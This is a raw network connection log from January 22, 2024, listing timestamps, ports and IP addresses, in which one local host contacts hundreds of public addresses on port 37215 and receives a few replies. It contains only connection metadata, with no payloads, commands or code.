Jan 22, 2024 03:59:40.590073109 CET	58015	37215	192.168.2.20	157.245.68.184
Jan 22, 2024 03:59:40.590073109 CET	58015	37215	192.168.2.20	94.25.183.147
Jan 22, 2024 03:59:40.590081930 CET	58015	37215	192.168.2.20	222.192.149.185
Jan 22, 2024 03:59:40.590109110 CET	58015	37215	192.168.2.20	197.107.26.227
Jan 22, 2024 03:59:40.590121031 CET	58015	37215	192.168.2.20	156.118.13.245
Jan 22, 2024 03:59:40.590146065 CET	58015	37215	192.168.2.20	41.227.15.238
Jan 22, 2024 03:59:40.590162992 CET	58015	37215	192.168.2.20	197.250.65.45
Jan 22, 2024 03:59:40.590183973 CET	58015	37215	192.168.2.20	41.211.156.233
Jan 22, 2024 03:59:40.590207100 CET	58015	37215	192.168.2.20	156.160.217.213
Jan 22, 2024 03:59:40.590217113 CET	58015	37215	192.168.2.20	181.133.224.5
Jan 22, 2024 03:59:40.590241909 CET	58015	37215	192.168.2.20	138.97.46.197
Jan 22, 2024 03:59:40.590250969 CET	58015	37215	192.168.2.20	181.188.38.163
Jan 22, 2024 03:59:40.590275049 CET	58015	37215	192.168.2.20	157.171.6.109
Jan 22, 2024 03:59:40.590290070 CET	58015	37215	192.168.2.20	92.94.125.147
Jan 22, 2024 03:59:40.590320110 CET	58015	37215	192.168.2.20	157.198.27.142
Jan 22, 2024 03:59:40.590329885 CET	58015	37215	192.168.2.20	41.162.67.25
Jan 22, 2024 03:59:40.590344906 CET	58015	37215	192.168.2.20	41.188.39.172
Jan 22, 2024 03:59:40.590358019 CET	58015	37215	192.168.2.20	41.12.137.204
Jan 22, 2024 03:59:40.590373993 CET	58015	37215	192.168.2.20	41.90.209.151
Jan 22, 2024 03:59:40.590398073 CET	58015	37215	192.168.2.20	107.210.159.254
Jan 22, 2024 03:59:40.590408087 CET	58015	37215	192.168.2.20	41.113.103.124
Jan 22, 2024 03:59:40.590435982 CET	58015	37215	192.168.2.20	120.135.106.43
Jan 22, 2024 03:59:40.590445995 CET	58015	37215	192.168.2.20	107.165.44.167
Jan 22, 2024 03:59:40.590472937 CET	58015	37215	192.168.2.20	41.253.32.193
Jan 22, 2024 03:59:40.590481997 CET	58015	37215	192.168.2.20	41.213.207.126
Jan 22, 2024 03:59:40.590507984 CET	58015	37215	192.168.2.20	45.66.187.204
Jan 22, 2024 03:59:40.590526104 CET	58015	37215	192.168.2.20	122.200.64.161
Jan 22, 2024 03:59:40.590550900 CET	58015	37215	192.168.2.20	156.107.223.181
Jan 22, 2024 03:59:40.590562105 CET	58015	37215	192.168.2.20	41.138.173.95
Jan 22, 2024 03:59:40.590579033 CET	58015	37215	192.168.2.20	156.1.117.168
Jan 22, 2024 03:59:40.590616941 CET	58015	37215	192.168.2.20	197.44.88.229
Jan 22, 2024 03:59:40.590619087 CET	58015	37215	192.168.2.20	197.186.217.133
Jan 22, 2024 03:59:40.590635061 CET	58015	37215	192.168.2.20	157.149.169.35
Jan 22, 2024 03:59:40.590658903 CET	58015	37215	192.168.2.20	156.240.113.236
Jan 22, 2024 03:59:40.590670109 CET	58015	37215	192.168.2.20	196.223.209.88
Jan 22, 2024 03:59:40.590688944 CET	58015	37215	192.168.2.20	156.40.194.131
Jan 22, 2024 03:59:40.590699911 CET	58015	37215	192.168.2.20	102.236.20.24
Jan 22, 2024 03:59:40.590725899 CET	58015	37215	192.168.2.20	41.32.152.175
Jan 22, 2024 03:59:40.590744019 CET	58015	37215	192.168.2.20	41.252.34.111
Jan 22, 2024 03:59:40.590760946 CET	58015	37215	192.168.2.20	156.125.110.155
Jan 22, 2024 03:59:40.590776920 CET	58015	37215	192.168.2.20	41.107.181.11
Jan 22, 2024 03:59:40.590809107 CET	58015	37215	192.168.2.20	190.230.156.201
Jan 22, 2024 03:59:40.590815067 CET	58015	37215	192.168.2.20	186.97.72.254
Jan 22, 2024 03:59:40.590833902 CET	58015	37215	192.168.2.20	160.79.42.163
Jan 22, 2024 03:59:40.590852976 CET	58015	37215	192.168.2.20	122.164.194.70
Jan 22, 2024 03:59:40.590869904 CET	58015	37215	192.168.2.20	157.38.116.240
Jan 22, 2024 03:59:40.590890884 CET	58015	37215	192.168.2.20	156.217.69.203
Jan 22, 2024 03:59:40.590909004 CET	58015	37215	192.168.2.20	41.120.29.160
Jan 22, 2024 03:59:40.590924025 CET	58015	37215	192.168.2.20	41.239.138.199
Jan 22, 2024 03:59:40.590936899 CET	58015	37215	192.168.2.20	197.163.103.36
Jan 22, 2024 03:59:40.590950012 CET	58015	37215	192.168.2.20	197.37.120.147
Jan 22, 2024 03:59:40.590971947 CET	58015	37215	192.168.2.20	41.19.93.168
Jan 22, 2024 03:59:40.590998888 CET	58015	37215	192.168.2.20	45.88.223.183
Jan 22, 2024 03:59:40.591016054 CET	58015	37215	192.168.2.20	41.215.37.212
Jan 22, 2024 03:59:40.591053009 CET	58015	37215	192.168.2.20	197.12.130.247
Jan 22, 2024 03:59:40.591070890 CET	58015	37215	192.168.2.20	190.194.66.125
Jan 22, 2024 03:59:40.591073990 CET	58015	37215	192.168.2.20	181.135.44.90
Jan 22, 2024 03:59:40.591109037 CET	58015	37215	192.168.2.20	197.49.67.39
Jan 22, 2024 03:59:40.591116905 CET	58015	37215	192.168.2.20	41.223.34.127
Jan 22, 2024 03:59:40.591126919 CET	58015	37215	192.168.2.20	156.9.218.215
Jan 22, 2024 03:59:40.591139078 CET	58015	37215	192.168.2.20	92.248.5.28
Jan 22, 2024 03:59:40.591154099 CET	58015	37215	192.168.2.20	107.95.207.62
Jan 22, 2024 03:59:40.591180086 CET	58015	37215	192.168.2.20	41.70.115.215
Jan 22, 2024 03:59:40.591192007 CET	58015	37215	192.168.2.20	156.207.54.81
Jan 22, 2024 03:59:40.591217041 CET	58015	37215	192.168.2.20	41.125.46.22
Jan 22, 2024 03:59:40.591228008 CET	58015	37215	192.168.2.20	160.143.83.75
Jan 22, 2024 03:59:40.591252089 CET	58015	37215	192.168.2.20	41.7.4.200
Jan 22, 2024 03:59:40.591285944 CET	58015	37215	192.168.2.20	102.144.215.241
Jan 22, 2024 03:59:40.591289043 CET	58015	37215	192.168.2.20	160.42.11.126
Jan 22, 2024 03:59:40.591299057 CET	58015	37215	192.168.2.20	156.106.106.148
Jan 22, 2024 03:59:40.591325045 CET	58015	37215	192.168.2.20	156.162.168.82
Jan 22, 2024 03:59:40.591351032 CET	58015	37215	192.168.2.20	156.123.197.106
Jan 22, 2024 03:59:40.591362000 CET	58015	37215	192.168.2.20	197.119.18.3
Jan 22, 2024 03:59:40.591378927 CET	58015	37215	192.168.2.20	156.59.247.204
Jan 22, 2024 03:59:40.591402054 CET	58015	37215	192.168.2.20	138.185.112.14
Jan 22, 2024 03:59:40.591418028 CET	58015	37215	192.168.2.20	190.190.218.208
Jan 22, 2024 03:59:40.591425896 CET	58015	37215	192.168.2.20	92.65.173.209
Jan 22, 2024 03:59:40.591448069 CET	58015	37215	192.168.2.20	138.3.12.121
Jan 22, 2024 03:59:40.591470957 CET	58015	37215	192.168.2.20	190.41.43.11
Jan 22, 2024 03:59:40.591490030 CET	58015	37215	192.168.2.20	156.172.231.221
Jan 22, 2024 03:59:40.591526031 CET	58015	37215	192.168.2.20	156.165.50.219
Jan 22, 2024 03:59:40.591528893 CET	58015	37215	192.168.2.20	41.197.127.188
Jan 22, 2024 03:59:40.591536999 CET	58015	37215	192.168.2.20	121.159.245.207
Jan 22, 2024 03:59:40.591553926 CET	58015	37215	192.168.2.20	160.233.131.88
Jan 22, 2024 03:59:40.591579914 CET	58015	37215	192.168.2.20	196.44.199.170
Jan 22, 2024 03:59:40.591590881 CET	58015	37215	192.168.2.20	156.141.90.208
Jan 22, 2024 03:59:40.591615915 CET	58015	37215	192.168.2.20	41.20.168.71
Jan 22, 2024 03:59:40.591651917 CET	58015	37215	192.168.2.20	186.62.60.144
Jan 22, 2024 03:59:40.591653109 CET	58015	37215	192.168.2.20	197.72.21.93
Jan 22, 2024 03:59:40.591675043 CET	58015	37215	192.168.2.20	94.177.198.126
Jan 22, 2024 03:59:40.591681004 CET	58015	37215	192.168.2.20	197.101.228.202
Jan 22, 2024 03:59:40.591707945 CET	58015	37215	192.168.2.20	95.29.248.226
Jan 22, 2024 03:59:40.591726065 CET	58015	37215	192.168.2.20	37.66.5.58
Jan 22, 2024 03:59:40.591743946 CET	58015	37215	192.168.2.20	157.112.17.110
Jan 22, 2024 03:59:40.591775894 CET	58015	37215	192.168.2.20	41.26.101.245
Jan 22, 2024 03:59:40.591777086 CET	58015	37215	192.168.2.20	94.60.48.143
Jan 22, 2024 03:59:40.591790915 CET	58015	37215	192.168.2.20	197.0.145.190
Jan 22, 2024 03:59:40.591804981 CET	58015	37215	192.168.2.20	156.49.33.160
Jan 22, 2024 03:59:40.591834068 CET	58015	37215	192.168.2.20	156.1.195.154
Jan 22, 2024 03:59:40.591851950 CET	58015	37215	192.168.2.20	41.24.229.141
Jan 22, 2024 03:59:40.591872931 CET	58015	37215	192.168.2.20	197.44.95.188
Jan 22, 2024 03:59:40.591881037 CET	58015	37215	192.168.2.20	156.56.171.242
Jan 22, 2024 03:59:40.591898918 CET	58015	37215	192.168.2.20	41.158.186.223
Jan 22, 2024 03:59:40.591927052 CET	58015	37215	192.168.2.20	160.36.226.7
Jan 22, 2024 03:59:40.591943979 CET	58015	37215	192.168.2.20	41.42.197.150
Jan 22, 2024 03:59:40.591954947 CET	58015	37215	192.168.2.20	186.37.206.163
Jan 22, 2024 03:59:40.591972113 CET	58015	37215	192.168.2.20	156.240.74.241
Jan 22, 2024 03:59:40.592000008 CET	58015	37215	192.168.2.20	197.79.194.176
Jan 22, 2024 03:59:40.592005014 CET	58015	37215	192.168.2.20	196.114.146.105
Jan 22, 2024 03:59:40.592024088 CET	58015	37215	192.168.2.20	41.245.178.149
Jan 22, 2024 03:59:40.592051983 CET	58015	37215	192.168.2.20	156.90.190.54
Jan 22, 2024 03:59:40.592065096 CET	58015	37215	192.168.2.20	41.192.53.37
Jan 22, 2024 03:59:40.592077971 CET	58015	37215	192.168.2.20	107.89.177.183
Jan 22, 2024 03:59:40.592106104 CET	58015	37215	192.168.2.20	41.53.39.176
Jan 22, 2024 03:59:40.592142105 CET	58015	37215	192.168.2.20	197.248.5.214
Jan 22, 2024 03:59:40.592143059 CET	58015	37215	192.168.2.20	181.106.171.170
Jan 22, 2024 03:59:40.592169046 CET	58015	37215	192.168.2.20	156.83.159.4
Jan 22, 2024 03:59:40.592179060 CET	58015	37215	192.168.2.20	156.159.53.219
Jan 22, 2024 03:59:40.592196941 CET	58015	37215	192.168.2.20	197.94.119.0
Jan 22, 2024 03:59:40.592215061 CET	58015	37215	192.168.2.20	41.183.102.15
Jan 22, 2024 03:59:40.592226028 CET	58015	37215	192.168.2.20	190.221.147.78
Jan 22, 2024 03:59:40.592245102 CET	58015	37215	192.168.2.20	156.104.217.109
Jan 22, 2024 03:59:40.592272043 CET	58015	37215	192.168.2.20	41.66.141.106
Jan 22, 2024 03:59:40.592283010 CET	58015	37215	192.168.2.20	186.57.146.103
Jan 22, 2024 03:59:40.592305899 CET	58015	37215	192.168.2.20	41.214.228.220
Jan 22, 2024 03:59:40.592324972 CET	58015	37215	192.168.2.20	41.156.54.72
Jan 22, 2024 03:59:40.592341900 CET	58015	37215	192.168.2.20	92.26.232.165
Jan 22, 2024 03:59:40.592361927 CET	58015	37215	192.168.2.20	197.98.60.243
Jan 22, 2024 03:59:40.592375994 CET	58015	37215	192.168.2.20	154.228.78.204
Jan 22, 2024 03:59:40.592416048 CET	58015	37215	192.168.2.20	196.83.72.133
Jan 22, 2024 03:59:40.592417955 CET	58015	37215	192.168.2.20	157.94.156.164
Jan 22, 2024 03:59:40.592430115 CET	58015	37215	192.168.2.20	181.189.55.233
Jan 22, 2024 03:59:40.592449903 CET	58015	37215	192.168.2.20	156.51.170.206
Jan 22, 2024 03:59:40.592466116 CET	58015	37215	192.168.2.20	196.61.73.117
Jan 22, 2024 03:59:40.592483044 CET	58015	37215	192.168.2.20	197.138.107.195
Jan 22, 2024 03:59:40.592509985 CET	58015	37215	192.168.2.20	190.212.218.220
Jan 22, 2024 03:59:40.592528105 CET	58015	37215	192.168.2.20	41.79.73.216
Jan 22, 2024 03:59:40.592545986 CET	58015	37215	192.168.2.20	197.211.134.57
Jan 22, 2024 03:59:40.592557907 CET	58015	37215	192.168.2.20	156.36.20.189
Jan 22, 2024 03:59:40.592587948 CET	58015	37215	192.168.2.20	197.57.78.239
Jan 22, 2024 03:59:40.592602015 CET	58015	37215	192.168.2.20	197.245.46.77
Jan 22, 2024 03:59:40.592626095 CET	58015	37215	192.168.2.20	197.68.19.138
Jan 22, 2024 03:59:40.592638016 CET	58015	37215	192.168.2.20	197.107.242.164
Jan 22, 2024 03:59:40.592654943 CET	58015	37215	192.168.2.20	41.36.122.55
Jan 22, 2024 03:59:40.592693090 CET	58015	37215	192.168.2.20	41.250.238.231
Jan 22, 2024 03:59:40.592694998 CET	58015	37215	192.168.2.20	37.248.78.28
Jan 22, 2024 03:59:40.592710018 CET	58015	37215	192.168.2.20	156.42.128.75
Jan 22, 2024 03:59:40.592725039 CET	58015	37215	192.168.2.20	156.20.86.202
Jan 22, 2024 03:59:40.592746019 CET	58015	37215	192.168.2.20	102.113.98.118
Jan 22, 2024 03:59:40.592760086 CET	58015	37215	192.168.2.20	197.142.12.93
Jan 22, 2024 03:59:40.592788935 CET	58015	37215	192.168.2.20	102.222.67.83
Jan 22, 2024 03:59:40.592804909 CET	58015	37215	192.168.2.20	197.123.172.31
Jan 22, 2024 03:59:40.592816114 CET	58015	37215	192.168.2.20	197.180.76.235
Jan 22, 2024 03:59:40.592833996 CET	58015	37215	192.168.2.20	41.255.166.95
Jan 22, 2024 03:59:40.592859030 CET	58015	37215	192.168.2.20	41.220.68.12
Jan 22, 2024 03:59:40.592869997 CET	58015	37215	192.168.2.20	197.4.51.61
Jan 22, 2024 03:59:40.592888117 CET	58015	37215	192.168.2.20	197.15.20.17
Jan 22, 2024 03:59:40.592906952 CET	58015	37215	192.168.2.20	156.50.76.213
Jan 22, 2024 03:59:40.592936039 CET	58015	37215	192.168.2.20	122.55.149.109
Jan 22, 2024 03:59:40.592951059 CET	58015	37215	192.168.2.20	160.250.102.157
Jan 22, 2024 03:59:40.592968941 CET	58015	37215	192.168.2.20	37.63.176.111
Jan 22, 2024 03:59:40.592997074 CET	58015	37215	192.168.2.20	41.107.222.151
Jan 22, 2024 03:59:40.593004942 CET	58015	37215	192.168.2.20	222.117.126.178
Jan 22, 2024 03:59:40.593017101 CET	58015	37215	192.168.2.20	197.238.48.69
Jan 22, 2024 03:59:40.593041897 CET	58015	37215	192.168.2.20	154.219.106.71
Jan 22, 2024 03:59:40.593060017 CET	58015	37215	192.168.2.20	186.162.192.189
Jan 22, 2024 03:59:40.593085051 CET	58015	37215	192.168.2.20	41.11.210.114
Jan 22, 2024 03:59:40.593085051 CET	58015	37215	192.168.2.20	41.143.165.52
Jan 22, 2024 03:59:40.593107939 CET	58015	37215	192.168.2.20	156.226.115.54
Jan 22, 2024 03:59:40.593123913 CET	58015	37215	192.168.2.20	45.138.37.65
Jan 22, 2024 03:59:40.593147993 CET	58015	37215	192.168.2.20	181.82.47.47
Jan 22, 2024 03:59:40.593168974 CET	58015	37215	192.168.2.20	41.212.147.61
Jan 22, 2024 03:59:40.593199015 CET	58015	37215	192.168.2.20	222.100.154.251
Jan 22, 2024 03:59:40.593204021 CET	58015	37215	192.168.2.20	102.253.86.71
Jan 22, 2024 03:59:40.593214035 CET	58015	37215	192.168.2.20	197.241.230.62
Jan 22, 2024 03:59:40.593240976 CET	58015	37215	192.168.2.20	41.190.189.255
Jan 22, 2024 03:59:40.593252897 CET	58015	37215	192.168.2.20	41.11.8.182
Jan 22, 2024 03:59:40.593266010 CET	58015	37215	192.168.2.20	107.106.11.27
Jan 22, 2024 03:59:40.593288898 CET	58015	37215	192.168.2.20	156.1.148.255
Jan 22, 2024 03:59:40.593313932 CET	58015	37215	192.168.2.20	156.92.137.197
Jan 22, 2024 03:59:40.593332052 CET	58015	37215	192.168.2.20	92.92.237.129
Jan 22, 2024 03:59:40.593348980 CET	58015	37215	192.168.2.20	197.173.62.235
Jan 22, 2024 03:59:40.593381882 CET	58015	37215	192.168.2.20	41.247.221.168
Jan 22, 2024 03:59:40.593386889 CET	58015	37215	192.168.2.20	197.176.106.25
Jan 22, 2024 03:59:40.593405008 CET	58015	37215	192.168.2.20	197.145.56.70
Jan 22, 2024 03:59:40.593415976 CET	58015	37215	192.168.2.20	197.170.15.98
Jan 22, 2024 03:59:40.593444109 CET	58015	37215	192.168.2.20	41.240.171.218
Jan 22, 2024 03:59:40.593451977 CET	58015	37215	192.168.2.20	157.124.58.107
Jan 22, 2024 03:59:40.593477964 CET	58015	37215	192.168.2.20	197.115.171.71
Jan 22, 2024 03:59:40.593488932 CET	58015	37215	192.168.2.20	156.117.15.30
Jan 22, 2024 03:59:40.593513012 CET	58015	37215	192.168.2.20	222.119.43.195
Jan 22, 2024 03:59:40.593525887 CET	58015	37215	192.168.2.20	160.91.117.220
Jan 22, 2024 03:59:40.593544006 CET	58015	37215	192.168.2.20	156.71.141.255
Jan 22, 2024 03:59:40.593561888 CET	58015	37215	192.168.2.20	41.174.37.24
Jan 22, 2024 03:59:40.593583107 CET	58015	37215	192.168.2.20	41.40.243.64
Jan 22, 2024 03:59:40.593599081 CET	58015	37215	192.168.2.20	156.32.138.1
Jan 22, 2024 03:59:40.593616962 CET	58015	37215	192.168.2.20	160.219.159.82
Jan 22, 2024 03:59:40.593632936 CET	58015	37215	192.168.2.20	156.107.233.50
Jan 22, 2024 03:59:40.593652964 CET	58015	37215	192.168.2.20	94.239.219.209
Jan 22, 2024 03:59:40.593679905 CET	58015	37215	192.168.2.20	156.159.83.176
Jan 22, 2024 03:59:40.593697071 CET	58015	37215	192.168.2.20	41.58.61.165
Jan 22, 2024 03:59:40.593710899 CET	58015	37215	192.168.2.20	41.2.191.122
Jan 22, 2024 03:59:40.593736887 CET	58015	37215	192.168.2.20	156.197.207.83
Jan 22, 2024 03:59:40.593767881 CET	58015	37215	192.168.2.20	156.156.79.85
Jan 22, 2024 03:59:40.593771935 CET	58015	37215	192.168.2.20	94.174.111.126
Jan 22, 2024 03:59:40.593787909 CET	58015	37215	192.168.2.20	197.170.185.55
Jan 22, 2024 03:59:40.593805075 CET	58015	37215	192.168.2.20	45.62.68.102
Jan 22, 2024 03:59:40.593827963 CET	58015	37215	192.168.2.20	102.37.93.229
Jan 22, 2024 03:59:40.593833923 CET	58015	37215	192.168.2.20	197.173.134.218
Jan 22, 2024 03:59:40.593851089 CET	58015	37215	192.168.2.20	156.66.210.178
Jan 22, 2024 03:59:40.593871117 CET	58015	37215	192.168.2.20	156.156.19.153
Jan 22, 2024 03:59:40.593895912 CET	58015	37215	192.168.2.20	196.220.85.58
Jan 22, 2024 03:59:40.593908072 CET	58015	37215	192.168.2.20	197.44.23.39
Jan 22, 2024 03:59:40.593931913 CET	58015	37215	192.168.2.20	120.144.167.87
Jan 22, 2024 03:59:40.593954086 CET	58015	37215	192.168.2.20	156.35.176.60
Jan 22, 2024 03:59:40.593971014 CET	58015	37215	192.168.2.20	197.25.182.137
Jan 22, 2024 03:59:40.593988895 CET	58015	37215	192.168.2.20	41.236.154.29
Jan 22, 2024 03:59:40.594010115 CET	58015	37215	192.168.2.20	41.214.234.102
Jan 22, 2024 03:59:40.594019890 CET	58015	37215	192.168.2.20	186.71.250.84
Jan 22, 2024 03:59:40.594038010 CET	58015	37215	192.168.2.20	197.48.96.27
Jan 22, 2024 03:59:40.594053030 CET	58015	37215	192.168.2.20	156.85.153.245
Jan 22, 2024 03:59:40.594074965 CET	58015	37215	192.168.2.20	107.170.114.60
Jan 22, 2024 03:59:40.594099045 CET	58015	37215	192.168.2.20	156.105.253.113
Jan 22, 2024 03:59:40.594115019 CET	58015	37215	192.168.2.20	154.148.186.242
Jan 22, 2024 03:59:40.594132900 CET	58015	37215	192.168.2.20	41.207.186.142
Jan 22, 2024 03:59:40.594167948 CET	58015	37215	192.168.2.20	92.102.37.134
Jan 22, 2024 03:59:40.594172001 CET	58015	37215	192.168.2.20	181.18.237.30
Jan 22, 2024 03:59:40.594194889 CET	58015	37215	192.168.2.20	92.9.126.254
Jan 22, 2024 03:59:40.594206095 CET	58015	37215	192.168.2.20	121.196.244.59
Jan 22, 2024 03:59:40.594225883 CET	58015	37215	192.168.2.20	41.144.66.10
Jan 22, 2024 03:59:40.594244003 CET	58015	37215	192.168.2.20	197.218.170.240
Jan 22, 2024 03:59:40.594264030 CET	58015	37215	192.168.2.20	156.12.198.12
Jan 22, 2024 03:59:40.594288111 CET	58015	37215	192.168.2.20	181.35.41.150
Jan 22, 2024 03:59:40.594290972 CET	58015	37215	192.168.2.20	190.10.128.18
Jan 22, 2024 03:59:40.594304085 CET	58015	37215	192.168.2.20	160.124.180.214
Jan 22, 2024 03:59:40.594336033 CET	58015	37215	192.168.2.20	41.187.11.182
Jan 22, 2024 03:59:40.594352007 CET	58015	37215	192.168.2.20	156.57.142.142
Jan 22, 2024 03:59:40.594372034 CET	58015	37215	192.168.2.20	156.169.134.190
Jan 22, 2024 03:59:40.594396114 CET	58015	37215	192.168.2.20	181.171.126.165
Jan 22, 2024 03:59:40.594420910 CET	58015	37215	192.168.2.20	181.142.67.153
Jan 22, 2024 03:59:40.696795940 CET	37215	58015	107.89.177.183	192.168.2.20
Jan 22, 2024 03:59:40.707703114 CET	37215	58015	107.145.242.188	192.168.2.20
Jan 22, 2024 03:59:40.748725891 CET	37215	58015	107.165.44.167	192.168.2.20
Jan 22, 2024 03:59:40.801142931 CET	37215	58015	45.138.37.65	192.168.2.20
Jan 22, 2024 03:59:40.824563026 CET	37215	58015	37.223.113.201	192.168.2.20
Jan 22, 2024 03:59:40.827205896 CET	37215	58015	45.148.245.26	192.168.2.20
Jan 22, 2024 03:59:40.827774048 CET	37215	58015	190.210.83.201	192.168.2.20
Jan 22, 2024 03:59:40.865571022 CET	37215	58015	181.171.126.165	192.168.2.20
Jan 22, 2024 03:59:40.886226892 CET	37215	58015	197.131.40.3	192.168.2.20
Jan 22, 2024 03:59:40.886405945 CET	58015	37215	192.168.2.20	197.131.40.3
Jan 22, 2024 03:59:40.888092041 CET	37215	58015	197.131.40.3	192.168.2.20
Jan 22, 2024 03:59:40.900962114 CET	37215	58015	160.124.180.214	192.168.2.20
Jan 22, 2024 03:59:40.912167072 CET	37215	58015	156.240.113.236	192.168.2.20
Jan 22, 2024 03:59:40.927706003 CET	37215	58015	41.71.80.197	192.168.2.20
Jan 22, 2024 03:59:40.939274073 CET	37215	58015	197.234.12.31	192.168.2.20
Jan 22, 2024 03:59:40.981494904 CET	37215	58015	222.100.154.251	192.168.2.20
Jan 22, 2024 03:59:41.595954895 CET	58015	37215	192.168.2.20	197.183.175.33
Jan 22, 2024 03:59:41.595992088 CET	58015	37215	192.168.2.20	156.111.250.121
Jan 22, 2024 03:59:41.596071005 CET	58015	37215	192.168.2.20	41.250.26.101
Jan 22, 2024 03:59:41.596082926 CET	58015	37215	192.168.2.20	41.140.141.8
Jan 22, 2024 03:59:41.596151114 CET	58015	37215	192.168.2.20	156.51.46.10
Jan 22, 2024 03:59:41.596215010 CET	58015	37215	192.168.2.20	156.83.154.202
Jan 22, 2024 03:59:41.596292973 CET	58015	37215	192.168.2.20	122.209.0.131
Jan 22, 2024 03:59:41.596457005 CET	58015	37215	192.168.2.20	41.189.183.205
Jan 22, 2024 03:59:41.596457005 CET	58015	37215	192.168.2.20	157.235.27.59
Jan 22, 2024 03:59:41.596555948 CET	58015	37215	192.168.2.20	156.120.82.157
Jan 22, 2024 03:59:41.596630096 CET	58015	37215	192.168.2.20	41.135.10.6
Jan 22, 2024 03:59:41.596627951 CET	58015	37215	192.168.2.20	122.205.63.190
Jan 22, 2024 03:59:41.596735001 CET	58015	37215	192.168.2.20	197.86.37.206
Jan 22, 2024 03:59:41.596765041 CET	58015	37215	192.168.2.20	156.45.208.109
Jan 22, 2024 03:59:41.596823931 CET	58015	37215	192.168.2.20	197.184.222.185
Jan 22, 2024 03:59:41.596894979 CET	58015	37215	192.168.2.20	197.161.31.244
Jan 22, 2024 03:59:41.596960068 CET	58015	37215	192.168.2.20	160.217.165.29
Jan 22, 2024 03:59:41.597026110 CET	58015	37215	192.168.2.20	197.210.171.83
Jan 22, 2024 03:59:41.597093105 CET	58015	37215	192.168.2.20	41.227.7.136
Jan 22, 2024 03:59:41.597163916 CET	58015	37215	192.168.2.20	156.28.141.3
Jan 22, 2024 03:59:41.597310066 CET	58015	37215	192.168.2.20	197.234.12.158
Jan 22, 2024 03:59:41.597332001 CET	58015	37215	192.168.2.20	197.178.143.151
Jan 22, 2024 03:59:41.597487926 CET	58015	37215	192.168.2.20	120.123.38.53
Jan 22, 2024 03:59:41.597496986 CET	58015	37215	192.168.2.20	160.204.56.174
Jan 22, 2024 03:59:41.597567081 CET	58015	37215	192.168.2.20	102.12.250.198
Jan 22, 2024 03:59:41.597595930 CET	58015	37215	192.168.2.20	197.89.160.116
Jan 22, 2024 03:59:41.597646952 CET	58015	37215	192.168.2.20	41.176.252.104
Jan 22, 2024 03:59:41.597692966 CET	58015	37215	192.168.2.20	41.48.224.23
Jan 22, 2024 03:59:41.597816944 CET	58015	37215	192.168.2.20	41.145.191.218
Jan 22, 2024 03:59:41.597883940 CET	58015	37215	192.168.2.20	41.168.144.174
Jan 22, 2024 03:59:41.597882986 CET	58015	37215	192.168.2.20	41.201.200.147
Jan 22, 2024 03:59:41.597949982 CET	58015	37215	192.168.2.20	41.156.219.152
Jan 22, 2024 03:59:41.598022938 CET	58015	37215	192.168.2.20	94.52.149.34
Jan 22, 2024 03:59:41.598083973 CET	58015	37215	192.168.2.20	41.214.199.164
Jan 22, 2024 03:59:41.598160028 CET	58015	37215	192.168.2.20	41.60.247.95
Jan 22, 2024 03:59:41.598248005 CET	58015	37215	192.168.2.20	41.35.209.53
Jan 22, 2024 03:59:41.598289013 CET	58015	37215	192.168.2.20	102.164.249.171
Jan 22, 2024 03:59:41.598346949 CET	58015	37215	192.168.2.20	41.68.254.193
Jan 22, 2024 03:59:41.598437071 CET	58015	37215	192.168.2.20	41.167.171.64
Jan 22, 2024 03:59:41.598480940 CET	58015	37215	192.168.2.20	107.61.22.49
Jan 22, 2024 03:59:41.598555088 CET	58015	37215	192.168.2.20	196.121.158.38
Jan 22, 2024 03:59:41.598613977 CET	58015	37215	192.168.2.20	156.245.191.166
Jan 22, 2024 03:59:41.598687887 CET	58015	37215	192.168.2.20	120.48.156.225
Jan 22, 2024 03:59:41.598757982 CET	58015	37215	192.168.2.20	156.103.240.166
Jan 22, 2024 03:59:41.598819017 CET	58015	37215	192.168.2.20	156.255.70.127
Jan 22, 2024 03:59:41.598875046 CET	58015	37215	192.168.2.20	197.104.53.42
Jan 22, 2024 03:59:41.598952055 CET	58015	37215	192.168.2.20	41.53.200.21
Jan 22, 2024 03:59:41.599019051 CET	58015	37215	192.168.2.20	197.204.20.39
Jan 22, 2024 03:59:41.599087000 CET	58015	37215	192.168.2.20	156.162.22.254
Jan 22, 2024 03:59:41.599149942 CET	58015	37215	192.168.2.20	41.197.80.237
Jan 22, 2024 03:59:41.599208117 CET	58015	37215	192.168.2.20	156.96.226.211
Jan 22, 2024 03:59:41.599278927 CET	58015	37215	192.168.2.20	186.18.204.15
Jan 22, 2024 03:59:41.599338055 CET	58015	37215	192.168.2.20	181.182.223.145
Jan 22, 2024 03:59:41.599401951 CET	58015	37215	192.168.2.20	94.146.107.102
Jan 22, 2024 03:59:41.599478960 CET	58015	37215	192.168.2.20	41.131.239.227
Jan 22, 2024 03:59:41.599534988 CET	58015	37215	192.168.2.20	156.180.79.215
Jan 22, 2024 03:59:41.599600077 CET	58015	37215	192.168.2.20	41.193.235.22
Jan 22, 2024 03:59:41.599667072 CET	58015	37215	192.168.2.20	41.82.160.57
Jan 22, 2024 03:59:41.599740982 CET	58015	37215	192.168.2.20	197.218.153.122
Jan 22, 2024 03:59:41.599801064 CET	58015	37215	192.168.2.20	156.159.107.197
Jan 22, 2024 03:59:41.599877119 CET	58015	37215	192.168.2.20	181.42.183.79
Jan 22, 2024 03:59:41.599931002 CET	58015	37215	192.168.2.20	41.149.116.129
Jan 22, 2024 03:59:41.600006104 CET	58015	37215	192.168.2.20	41.125.48.146
Jan 22, 2024 03:59:41.600074053 CET	58015	37215	192.168.2.20	41.242.209.163
Jan 22, 2024 03:59:41.600140095 CET	58015	37215	192.168.2.20	197.139.29.244
Jan 22, 2024 03:59:41.600205898 CET	58015	37215	192.168.2.20	41.6.7.34
Jan 22, 2024 03:59:41.600272894 CET	58015	37215	192.168.2.20	37.46.155.255
Jan 22, 2024 03:59:41.600332022 CET	58015	37215	192.168.2.20	156.242.172.236
Jan 22, 2024 03:59:41.600399017 CET	58015	37215	192.168.2.20	156.174.145.114
Jan 22, 2024 03:59:41.600497007 CET	58015	37215	192.168.2.20	41.98.247.189
Jan 22, 2024 03:59:41.600564003 CET	58015	37215	192.168.2.20	138.110.39.55
Jan 22, 2024 03:59:41.600621939 CET	58015	37215	192.168.2.20	41.65.189.250
Jan 22, 2024 03:59:41.600696087 CET	58015	37215	192.168.2.20	156.99.103.157
Jan 22, 2024 03:59:41.600759029 CET	58015	37215	192.168.2.20	94.116.158.243
Jan 22, 2024 03:59:41.600820065 CET	58015	37215	192.168.2.20	102.182.193.226
Jan 22, 2024 03:59:41.600887060 CET	58015	37215	192.168.2.20	41.26.108.218
Jan 22, 2024 03:59:41.600954056 CET	58015	37215	192.168.2.20	41.249.171.34
